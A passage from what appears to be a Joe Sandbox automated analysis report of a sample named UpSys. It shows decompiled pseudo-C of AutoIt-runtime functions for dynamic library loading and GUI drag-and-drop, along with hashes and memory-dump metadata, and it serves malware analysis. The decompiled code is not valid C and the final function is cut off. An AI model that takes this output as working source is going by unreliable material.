                                                                                                                                                                                                          • Part of subcall function 000000014002CB14: WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,?,?,00000000,?,00000000,?), ref: 000000014002CCC8
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ByteCharMultiWide$StringType$Infofree$ErrorLastmalloc
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3804003340-0
                                                                                                                                                                                                        • Opcode ID: 5d0a748dbaf6d9a558c976e745d6f8635e73aefc325845c9585db8942247afaa
                                                                                                                                                                                                        • Instruction ID: 839999e427c88920f0d515ea6f848d7c45a32ee3055771d15e4a77ddb8b2e620
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 5d0a748dbaf6d9a558c976e745d6f8635e73aefc325845c9585db8942247afaa
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 18617C32200B808AEB229F67A4407D977A5F74DBE8F58462DFF1957BA8DB74CC818740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140063650 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 240libraryloaderCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 54%
                                                                                                                                                                                                        			E00000001140063650(void* __ecx, void* __edi, signed long long __rbx, signed int __rcx, long long __rdx, void* __r8, void* __r9, void* __r10, void* __r11) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t90;
				void* _t101;
				void* _t116;
				intOrPtr _t139;
				intOrPtr* _t144;
				void* _t147;
				void* _t150;
				intOrPtr* _t157;
				intOrPtr _t159;
				signed int _t161;
				long long _t163;
				long long _t165;
				long long _t166;
				long long* _t167;
				signed long long _t168;
				signed long long _t169;
				intOrPtr* _t171;
				long long _t173;
				long long _t174;
				intOrPtr* _t180;
				intOrPtr _t187;
				void* _t221;
				long long* _t222;
				signed long long _t224;
				intOrPtr* _t227;
				signed long long _t228;
				signed int _t229;
				int _t233;
				signed long long _t234;
				void* _t237;
				void* _t238;
				struct HINSTANCE__* _t246;
				intOrPtr _t248;
				struct HINSTANCE__* _t251;
				int _t254;
				void* _t255;
				void* _t257;
				intOrPtr _t258;

				_t245 = __r11;
				_t242 = __r9;
				_t168 = __rbx;
				_t116 = __ecx;
				_t150 = _t237;
				 *((long long*)(_t150 + 0x20)) = __rbx;
				 *((intOrPtr*)(_t150 + 0x18)) = r8d;
				 *((long long*)(_t150 + 0x10)) = __rdx;
				_t238 = _t237 - 0x50;
				_t222 =  *(_t238 + 0xb0);
				asm("movaps [eax-0x48], xmm6");
				 *( *(_t238 + 0xc0)) =  *( *(_t238 + 0xc0)) & 0x00000000;
				_t234 = __rcx;
				 *( *(_t238 + 0xb8)) =  *( *(_t238 + 0xb8)) & 0x00000000;
				_t255 = __r9;
				r12d = r8d;
				E00000001140007A40(__rbx, _t222, _t224, _t257);
				 *(_t238 + 0x30) =  *(_t238 + 0x30) & _t224;
				 *((intOrPtr*)(_t222 + 8)) = 1;
				 *_t222 = 1;
				_t258 =  *((intOrPtr*)(__rcx + 0x10));
				 *(_t238 + 0xb0) = _t224;
				if (_t258 <= 0) goto 0x400639e1;
				if (_t224 != 0) goto 0x40063748;
				_t180 =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 8)) + _t168 * 8));
				if ( *_t180 == _t224) goto 0x40063737;
				r13d = 0;
				if ( *((intOrPtr*)( *_t180 + 8)) <= 0) goto 0x4006372f;
				r12d = 0;
				_t90 = E0000000114002DBA0(__edi,  *_t180, _t168,  *((intOrPtr*)(_t238 + 0x98)),  *((intOrPtr*)( *((intOrPtr*)( *_t180 + 0x10)) + _t246)), _t224, __rcx, __r8, __r9, __r11);
				_t157 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__rcx + 8)) + _t168 * 8))));
				if (_t90 == 0) goto 0x400637b6;
				r13d = r13d + 1;
				if (r13d -  *((intOrPtr*)(_t157 + 8)) < 0) goto 0x400636ec;
				r12d =  *((intOrPtr*)(_t238 + 0xa0));
				_t169 = _t168 + 1;
				if (_t169 - _t258 < 0) goto 0x400636cc;
				if ( *(_t238 + 0xb0) == 0) goto 0x400639e1;
				_t248 = r12d;
				malloc(_t254);
				_t25 = _t234 + 2; // 0x2
				r15d = _t25;
				_t139 = _t248;
				if (_t139 <= 0) goto 0x400638cf;
				_t227 = _t157;
				if (_t139 == 0) goto 0x400638a3;
				if (_t139 == 0) goto 0x40063889;
				_t125 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__r9 + 8)) + __rcx * 8)) + 8)) - r15d;
				if (_t139 == 0) goto 0x4006383e;
				if ( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__r9 + 8)) + __rcx * 8)) + 8)) - r15d == 3) goto 0x40063829;
				 *_t227 = 1;
				_t159 =  *((intOrPtr*)(__r9 + 8));
				 *((intOrPtr*)(_t227 + 8)) = E00000001140010880( *((intOrPtr*)(_t159 + __rcx * 8)));
				goto 0x400638b7;
				_t187 =  *((intOrPtr*)(_t159 + 0x10));
				r12d =  *((intOrPtr*)(_t238 + 0xa0));
				_t228 = _t227 + _t227;
				if (r12d -  *((intOrPtr*)(_t187 + 8 + _t228 * 8)) < 0) goto 0x4006381f;
				if (r12d -  *((intOrPtr*)(_t187 + 0xc + _t228 * 8)) > 0) goto 0x4006381f;
				_t161 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__rcx + 8)) + _t169 * 8))));
				GetProcAddress(_t251);
				_t229 = _t161;
				 *(_t238 + 0xb0) = _t161;
				GetProcAddress(_t246);
				 *(_t238 + 0x30) = _t161;
				goto 0x40063737;
				goto 0x400639e6;
				 *_t229 = 5;
				E00000001140059340( *((intOrPtr*)( *((intOrPtr*)(__r9 + 8)) + __rcx * 8)));
				goto 0x400638b3;
				 *_t229 = 4;
				_t163 =  *((intOrPtr*)(__r9 + 8));
				E00000001140062190(_t163,  *((intOrPtr*)(_t163 + __rcx * 8)));
				E00000001140017C00(E00000001140014470(0, _t163, _t169, _t163, _t222, _t229, __rcx, _t221, _t224), _t163);
				malloc(_t233);
				 *((long long*)(_t229 + 8)) = _t163;
				_t101 = E00000001140017E10(_t125 | 0xffffffff, _t163, _t163);
				0x40016a60();
				goto 0x400638b7;
				 *_t229 = 3;
				E00000001140004970(_t101,  *((intOrPtr*)( *((intOrPtr*)(_t255 + 8)) + _t234 * 8)));
				asm("movsd [esi+0x8], xmm0");
				goto 0x400638b7;
				 *_t229 = r15d;
				_t165 =  *((intOrPtr*)(_t255 + 8));
				E0000000114004F940(_t116, r12d -  *((intOrPtr*)(_t187 + 0xc + _t228 * 8)), _t163,  *((intOrPtr*)(_t165 + _t234 * 8)), _t163, _t222, _t229, _t242, __r10, _t245);
				 *((long long*)(_t229 + 8)) = _t165;
				if (_t234 + 1 - _t248 < 0) goto 0x4006376c;
				_t231 =  *(_t238 + 0xb0);
				_t166 =  *(_t238 + 0xc0);
				 *(_t238 + 0x90) =  *(_t238 + 0x90) & 0x00000000;
				 *((long long*)(_t238 + 0x20)) = _t166;
				 *( *(_t238 + 0xb0))();
				_t171 =  *(_t238 + 0x90);
				_t144 = _t171;
				if (_t144 == 0) goto 0x400639dd;
				if (_t144 == 0) goto 0x4006398e;
				if (_t144 == 0) goto 0x40063974;
				if (_t144 == 0) goto 0x40063950;
				if ( *_t171 - r15d == 1) goto 0x4006393e;
				E00000001140007A40(_t171, _t222,  *(_t238 + 0xb0));
				 *((intOrPtr*)(_t222 + 8)) = 1;
				 *_t222 =  *((intOrPtr*)(_t171 + 8));
				goto 0x400639a1;
				E00000001140007A40( *((intOrPtr*)(_t171 + 8)), _t222,  *(_t238 + 0xb0));
				 *((intOrPtr*)(_t222 + 8)) = 7;
				goto 0x4006399e;
				E0000000114003FB00(_t125 | 0xffffffff, 0, 0, _t166,  *((intOrPtr*)(_t171 + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t171 + 8)) + 8)),  *(_t238 + 0xb0), _t234 + 1);
				_t173 = _t166;
				E00000001140012D80(_t125 | 0xffffffff, _t166, _t173, _t222, _t166,  *(_t238 + 0xb0), _t238 + 0x90);
				0x40016a60();
				goto 0x400639a1;
				asm("movsd xmm6, [ebx+0x8]");
				E00000001140007A40(_t173, _t222,  *(_t238 + 0xb0));
				asm("movsd [edi], xmm6");
				 *((intOrPtr*)(_t222 + 8)) = 3;
				goto 0x400639a1;
				_t174 =  *((intOrPtr*)(_t173 + 8));
				E00000001140007A40(_t174, _t222, _t231);
				 *((intOrPtr*)(_t222 + 8)) = r15d;
				 *_t222 = _t174;
				if (_t248 <= 0) goto 0x400639c1;
				_t147 =  *_t157 - 4;
				if (_t147 != 0) goto 0x400639b7;
				free(??);
				if (_t147 != 0) goto 0x400639a9;
				free(??);
				_t167 =  *(_t238 + 0x30);
				if (_t167 == 0) goto 0x400639dd;
				 *_t167();
				goto 0x400639e6;
				asm("movaps xmm6, [esp+0x40]");
				return 6;
			}












































                                                                                                                                                                                                        0x140063650
                                                                                                                                                                                                        0x140063650
                                                                                                                                                                                                        0x140063650
                                                                                                                                                                                                        0x140063650
                                                                                                                                                                                                        0x140063650
                                                                                                                                                                                                        0x140063653
                                                                                                                                                                                                        0x140063657
                                                                                                                                                                                                        0x14006365b
                                                                                                                                                                                                        0x14006366a
                                                                                                                                                                                                        0x14006366e
                                                                                                                                                                                                        0x140063676
                                                                                                                                                                                                        0x140063682
                                                                                                                                                                                                        0x14006368d
                                                                                                                                                                                                        0x140063690
                                                                                                                                                                                                        0x140063696
                                                                                                                                                                                                        0x140063699
                                                                                                                                                                                                        0x14006369c
                                                                                                                                                                                                        0x1400636a3
                                                                                                                                                                                                        0x1400636a8
                                                                                                                                                                                                        0x1400636af
                                                                                                                                                                                                        0x1400636b5
                                                                                                                                                                                                        0x1400636bb
                                                                                                                                                                                                        0x1400636c6
                                                                                                                                                                                                        0x1400636cf
                                                                                                                                                                                                        0x1400636d5
                                                                                                                                                                                                        0x1400636dc
                                                                                                                                                                                                        0x1400636e1
                                                                                                                                                                                                        0x1400636e7
                                                                                                                                                                                                        0x1400636e9
                                                                                                                                                                                                        0x1400636ff
                                                                                                                                                                                                        0x14006370e
                                                                                                                                                                                                        0x140063711
                                                                                                                                                                                                        0x140063717
                                                                                                                                                                                                        0x140063725
                                                                                                                                                                                                        0x140063727
                                                                                                                                                                                                        0x140063737
                                                                                                                                                                                                        0x14006373d
                                                                                                                                                                                                        0x140063742
                                                                                                                                                                                                        0x140063748
                                                                                                                                                                                                        0x140063752
                                                                                                                                                                                                        0x14006375c
                                                                                                                                                                                                        0x14006375c
                                                                                                                                                                                                        0x140063760
                                                                                                                                                                                                        0x140063763
                                                                                                                                                                                                        0x140063769
                                                                                                                                                                                                        0x14006377a
                                                                                                                                                                                                        0x140063783
                                                                                                                                                                                                        0x140063789
                                                                                                                                                                                                        0x14006378c
                                                                                                                                                                                                        0x140063795
                                                                                                                                                                                                        0x14006379b
                                                                                                                                                                                                        0x1400637a1
                                                                                                                                                                                                        0x1400637ae
                                                                                                                                                                                                        0x1400637b1
                                                                                                                                                                                                        0x1400637b6
                                                                                                                                                                                                        0x1400637ba
                                                                                                                                                                                                        0x1400637c2
                                                                                                                                                                                                        0x1400637ca
                                                                                                                                                                                                        0x1400637d1
                                                                                                                                                                                                        0x1400637db
                                                                                                                                                                                                        0x1400637e9
                                                                                                                                                                                                        0x1400637f7
                                                                                                                                                                                                        0x1400637fa
                                                                                                                                                                                                        0x14006380f
                                                                                                                                                                                                        0x140063815
                                                                                                                                                                                                        0x14006381a
                                                                                                                                                                                                        0x140063824
                                                                                                                                                                                                        0x140063829
                                                                                                                                                                                                        0x140063837
                                                                                                                                                                                                        0x14006383c
                                                                                                                                                                                                        0x14006383e
                                                                                                                                                                                                        0x140063844
                                                                                                                                                                                                        0x14006384c
                                                                                                                                                                                                        0x140063862
                                                                                                                                                                                                        0x14006386b
                                                                                                                                                                                                        0x140063876
                                                                                                                                                                                                        0x14006387a
                                                                                                                                                                                                        0x140063882
                                                                                                                                                                                                        0x140063887
                                                                                                                                                                                                        0x140063889
                                                                                                                                                                                                        0x140063897
                                                                                                                                                                                                        0x14006389c
                                                                                                                                                                                                        0x1400638a1
                                                                                                                                                                                                        0x1400638a3
                                                                                                                                                                                                        0x1400638a6
                                                                                                                                                                                                        0x1400638ae
                                                                                                                                                                                                        0x1400638b3
                                                                                                                                                                                                        0x1400638c1
                                                                                                                                                                                                        0x1400638c7
                                                                                                                                                                                                        0x1400638cf
                                                                                                                                                                                                        0x1400638e6
                                                                                                                                                                                                        0x1400638fa
                                                                                                                                                                                                        0x1400638ff
                                                                                                                                                                                                        0x140063901
                                                                                                                                                                                                        0x140063909
                                                                                                                                                                                                        0x14006390c
                                                                                                                                                                                                        0x140063917
                                                                                                                                                                                                        0x14006391c
                                                                                                                                                                                                        0x140063921
                                                                                                                                                                                                        0x140063929
                                                                                                                                                                                                        0x14006392e
                                                                                                                                                                                                        0x140063933
                                                                                                                                                                                                        0x14006393a
                                                                                                                                                                                                        0x14006393c
                                                                                                                                                                                                        0x140063942
                                                                                                                                                                                                        0x140063947
                                                                                                                                                                                                        0x14006394e
                                                                                                                                                                                                        0x140063957
                                                                                                                                                                                                        0x140063962
                                                                                                                                                                                                        0x140063965
                                                                                                                                                                                                        0x14006396d
                                                                                                                                                                                                        0x140063972
                                                                                                                                                                                                        0x140063974
                                                                                                                                                                                                        0x14006397c
                                                                                                                                                                                                        0x140063981
                                                                                                                                                                                                        0x140063985
                                                                                                                                                                                                        0x14006398c
                                                                                                                                                                                                        0x14006398e
                                                                                                                                                                                                        0x140063995
                                                                                                                                                                                                        0x14006399a
                                                                                                                                                                                                        0x14006399e
                                                                                                                                                                                                        0x1400639a4
                                                                                                                                                                                                        0x1400639a9
                                                                                                                                                                                                        0x1400639ac
                                                                                                                                                                                                        0x1400639b2
                                                                                                                                                                                                        0x1400639bf
                                                                                                                                                                                                        0x1400639c4
                                                                                                                                                                                                        0x1400639c9
                                                                                                                                                                                                        0x1400639d1
                                                                                                                                                                                                        0x1400639db
                                                                                                                                                                                                        0x1400639df
                                                                                                                                                                                                        0x1400639ee
                                                                                                                                                                                                        0x140063a02

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AddressProcfreemalloc$_errno
                                                                                                                                                                                                        • String ID: AU3_FreeVar
                                                                                                                                                                                                        • API String ID: 1482418292-771828931
                                                                                                                                                                                                        • Opcode ID: 39c9a5cefb526a2461a826b34c258be352eca707984393b600918af11413c7c7
                                                                                                                                                                                                        • Instruction ID: 3ceb8bc9e74d9b6d5171023274113458f2d474868442f21c547ec73dfd038d2f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 39c9a5cefb526a2461a826b34c258be352eca707984393b600918af11413c7c7
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 07B13776604A8485EB22DF27D8903EA77A1F788BC4F158515EF8E0B7A6CF79C452C780
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140083320 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 148windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 63%
                                                                                                                                                                                                        			E00000001140083320(signed int _a8, intOrPtr _a40, void* _a48) {
				void* _v40;
				char _v72;
				long long _v80;
				signed int _v88;
				char _v96;
				signed short _v100;
				intOrPtr _v104;
				intOrPtr _v120;
				void* _t53;
				signed int _t54;
				int _t57;
				signed short _t75;
				long long _t78;
				intOrPtr _t80;
				void* _t85;
				char _t86;
				void* _t88;
				void* _t94;
				intOrPtr _t95;
				long long _t96;
				long long _t97;
				long long _t99;
				intOrPtr _t104;
				intOrPtr _t108;
				long long _t124;
				void* _t135;
				long long _t137;
				long long _t140;
				signed long long _t142;
				void* _t144;
				void* _t158;
				int _t160;
				struct HWND__* _t164;
				struct HWND__* _t166;
				long long _t167;
				void* _t169;

				_t94 = _t144;
				 *((long long*)(_t94 + 0x10)) = _t97;
				 *((long long*)(_t94 + 0x18)) = _t140;
				 *((long long*)(_t94 + 0x20)) = _t137;
				 *((long long*)(_t94 + 8)) = _t99;
				_t75 = r9d;
				_t138 = _t124;
				_t54 = E0000000114003DD90(_t53, _t94, _t97, 0x400c6a00, _t124);
				r8d = 1;
				_a8 = _t54;
				_t95 =  *0x400c6aa0; // 0x0
				E00000001140065D80(_t97, 0x400c6a00,  *((intOrPtr*)( *((intOrPtr*)(_t95 + _t54 * 8)))));
				r14d = 0;
				if (_a48 == r14d) goto 0x40083395;
				goto 0x40083586;
				_t88 =  *0x400c6b28 - r14d; // 0x0
				if (_t88 == 0) goto 0x40083581;
				ImageList_DragLeave(_t169);
				ImageList_EndDrag();
				_t57 = ReleaseCapture();
				_v104 = r8d;
				_v100 = _t75;
				_t142 = E0000000114004DBF0(_t57, _t97, 0x400c6a00, _v104,  &_a8);
				if (_t86 == 0xffffffff) goto 0x40083581;
				_t78 =  *0x400c6b28; // 0x0
				if (_t86 == _t78) goto 0x40083581;
				_t104 =  *0x400c6aa0; // 0x0
				_t96 =  *0x400c6ac8; // 0x3264820
				if (( *( *((intOrPtr*)( *((intOrPtr*)(_t96 + _t142 * 8)))) + 0xf6) & 0x00000008) == 0) goto 0x4008357a;
				r9d = 0;
				E00000001140065310(_t78, _t97, _t124, _t142,  &_a48, _t158);
				r9d = 0;
				E00000001140065310(_a48, _t97, _t124, _t142,  &_a8, _t158);
				_t108 =  *0x400c6ac8; // 0x3264820
				r13d = 2;
				_t167 = _t96;
				_t80 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t108 + _t142 * 8)))) + 0xf4));
				if (_t80 == r13b) goto 0x40083480;
				if (_t80 != 3) goto 0x400834a1;
				SetWindowTextW(_t166);
				r8d = 0;
				SendMessageW(_t164, _t160);
				0x40016a60();
				r14d = 0;
				_t28 = _t167 + 1; // 0x1
				r12d = _t28;
				_v96 = r14d;
				_v80 = _t167;
				_v88 = r12d;
				E00000001140007A40(_t97,  &_v96, _t124, _t135);
				_v88 = r12d;
				_v96 = _t86;
				E00000001140001D30(_t96, _t97,  &_v72, L"@GUI_DROPID");
				r9d = r12d;
				_v120 = r13d;
				E00000001140002610(E00000001140082F90(_t85, _t96, _t97,  &_v72, _t124, _t142,  &_v96, _t164, _t167,  *((intOrPtr*)( *((intOrPtr*)(_t104 + _a8 * 8))))), _t97,  &_v72);
				E00000001140012D80(0xb1, _t96, _t97,  &_v96, 0x4009b6c0, _t124,  &_v96);
				E00000001140001D30(_t96, _t97,  &_v72, L"@GUI_DRAGFILE");
				r9d = r12d;
				_v120 = r13d;
				E00000001140002610(E00000001140082F90(_t85, _t96, _t97,  &_v72, _t138, _t142,  &_v96, _t164, _t167,  *((intOrPtr*)( *((intOrPtr*)(_t104 + _a8 * 8))))), _t97,  &_v72);
				_t45 = _t167 - 0xd; // -13
				r9d = 0;
				_v120 = r14d;
				E000000011400608F0(_t45, _t96, _t97, 0x400c6a00, _t142,  *((intOrPtr*)( *((intOrPtr*)(_t104 + _a8 * 8)))));
				E00000001140007A40(_t97,  &_v96, _t138);
				 *0x400c6b28 = r14d;
				r8d = _a40;
				r9d = _t75 & 0x0000ffff;
				r9d = r9d << 0x10;
				return DefDlgProcW(??, ??, ??, ??);
			}







































                                                                                                                                                                                                        0x140083320
                                                                                                                                                                                                        0x140083323
                                                                                                                                                                                                        0x140083327
                                                                                                                                                                                                        0x14008332b
                                                                                                                                                                                                        0x14008332f
                                                                                                                                                                                                        0x140083347
                                                                                                                                                                                                        0x140083350
                                                                                                                                                                                                        0x140083353
                                                                                                                                                                                                        0x140083358
                                                                                                                                                                                                        0x140083361
                                                                                                                                                                                                        0x140083368
                                                                                                                                                                                                        0x140083379
                                                                                                                                                                                                        0x14008337e
                                                                                                                                                                                                        0x140083389
                                                                                                                                                                                                        0x140083390
                                                                                                                                                                                                        0x140083395
                                                                                                                                                                                                        0x14008339c
                                                                                                                                                                                                        0x1400833a4
                                                                                                                                                                                                        0x1400833aa
                                                                                                                                                                                                        0x1400833b0
                                                                                                                                                                                                        0x1400833b6
                                                                                                                                                                                                        0x1400833ba
                                                                                                                                                                                                        0x1400833d3
                                                                                                                                                                                                        0x1400833d9
                                                                                                                                                                                                        0x1400833df
                                                                                                                                                                                                        0x1400833e7
                                                                                                                                                                                                        0x1400833ed
                                                                                                                                                                                                        0x1400833fc
                                                                                                                                                                                                        0x14008341a
                                                                                                                                                                                                        0x140083433
                                                                                                                                                                                                        0x140083436
                                                                                                                                                                                                        0x140083451
                                                                                                                                                                                                        0x140083454
                                                                                                                                                                                                        0x140083459
                                                                                                                                                                                                        0x140083460
                                                                                                                                                                                                        0x14008346a
                                                                                                                                                                                                        0x140083470
                                                                                                                                                                                                        0x140083479
                                                                                                                                                                                                        0x14008347e
                                                                                                                                                                                                        0x140083486
                                                                                                                                                                                                        0x140083490
                                                                                                                                                                                                        0x14008349b
                                                                                                                                                                                                        0x1400834a4
                                                                                                                                                                                                        0x1400834a9
                                                                                                                                                                                                        0x1400834b1
                                                                                                                                                                                                        0x1400834b1
                                                                                                                                                                                                        0x1400834b5
                                                                                                                                                                                                        0x1400834ba
                                                                                                                                                                                                        0x1400834bf
                                                                                                                                                                                                        0x1400834c4
                                                                                                                                                                                                        0x1400834d5
                                                                                                                                                                                                        0x1400834da
                                                                                                                                                                                                        0x1400834de
                                                                                                                                                                                                        0x1400834f4
                                                                                                                                                                                                        0x1400834f7
                                                                                                                                                                                                        0x140083506
                                                                                                                                                                                                        0x140083517
                                                                                                                                                                                                        0x140083528
                                                                                                                                                                                                        0x14008353e
                                                                                                                                                                                                        0x140083541
                                                                                                                                                                                                        0x140083550
                                                                                                                                                                                                        0x140083555
                                                                                                                                                                                                        0x140083560
                                                                                                                                                                                                        0x140083566
                                                                                                                                                                                                        0x14008356b
                                                                                                                                                                                                        0x140083575
                                                                                                                                                                                                        0x14008357a
                                                                                                                                                                                                        0x140083586
                                                                                                                                                                                                        0x14008358e
                                                                                                                                                                                                        0x140083595
                                                                                                                                                                                                        0x1400835bc

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageReleaseScreenSendText
                                                                                                                                                                                                        • String ID: @GUI_DRAGFILE$@GUI_DROPID
                                                                                                                                                                                                        • API String ID: 3721556410-2107944366
                                                                                                                                                                                                        • Opcode ID: 3f82ef9b893e0f1703613e1551534172d861655419229d8b736e1891a3b57493
                                                                                                                                                                                                        • Instruction ID: 0cc227cd8119e531499fc8e98210756280361d867852a036d4ed1024f4d5cad6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3f82ef9b893e0f1703613e1551534172d861655419229d8b736e1891a3b57493
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 10618C72214A8196EB62DF22E854BDA7764F788BD4F805116FB4E13BB5CF39C649CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014005EBC0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 146windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 35%
                                                                                                                                                                                                        			E0000000114005EBC0(void* __esp, void* __rax, long long __rbx, void* __rdx, long long __rsi, long long* __r8, void* __r10, void* __r11) {
				intOrPtr _t56;
				void* _t65;
				long _t68;
				signed int _t70;
				signed int _t74;
				signed int _t75;
				intOrPtr _t77;
				intOrPtr _t79;
				short _t91;
				void* _t103;
				struct HWND__* _t126;
				long long* _t127;
				long long _t131;
				void* _t133;
				void* _t134;
				int _t149;
				void* _t150;
				struct HWND__* _t152;
				int _t154;
				struct HWND__* _t156;

				_t109 = __rbx;
				 *((long long*)(_t133 + 8)) = __rbx;
				 *((long long*)(_t133 + 0x10)) = _t131;
				 *((long long*)(_t133 + 0x20)) = __rsi;
				E00000001140030CB0(0x20a0, __rax, __r10, __r11);
				_t134 = _t133 - __rax;
				_t150 = __rdx;
				_t79 =  *((intOrPtr*)(_t134 + 0x2118));
				r15d = r15d | 0xffffffff;
				r14d = 0;
				_t80 =  ==  ? _t156 + 0xd : _t79;
				r13d = r9d;
				_t81 = ( ==  ? _t156 + 0xd : _t79) | 0x00010001;
				_t127 = __r8;
				sil = r14b;
				r11d = E00000001140056C20(( ==  ? _t156 + 0xd : _t79) | 0x00010001, _t79 - r15d, __rbx);
				_t74 =  ==  ? 0x220 :  *((intOrPtr*)(_t134 + 0x2120));
				r15d = _t131 + 2;
				if ((_t74 & 0x00000010) == 0) goto 0x4005ec42;
				sil = r15b;
				_t75 = _t74 ^ 0x00000010;
				_t77 =  *((intOrPtr*)(_t134 + 0x2108));
				_t56 =  *((intOrPtr*)(_t134 + 0x2110));
				 *((intOrPtr*)(_t134 + 0x60)) = r14b;
				 *(_t134 + 0x58) = _t154;
				 *((intOrPtr*)(_t134 + 0x50)) = r13d;
				r8d = 0x96;
				_t78 =  ==  ? r8d : _t77;
				_t57 =  ==  ? r8d : _t56;
				r8d = _t75;
				 *((intOrPtr*)(_t134 + 0x48)) =  ==  ? r8d : _t56;
				 *((intOrPtr*)(_t134 + 0x40)) =  ==  ? r8d : _t77;
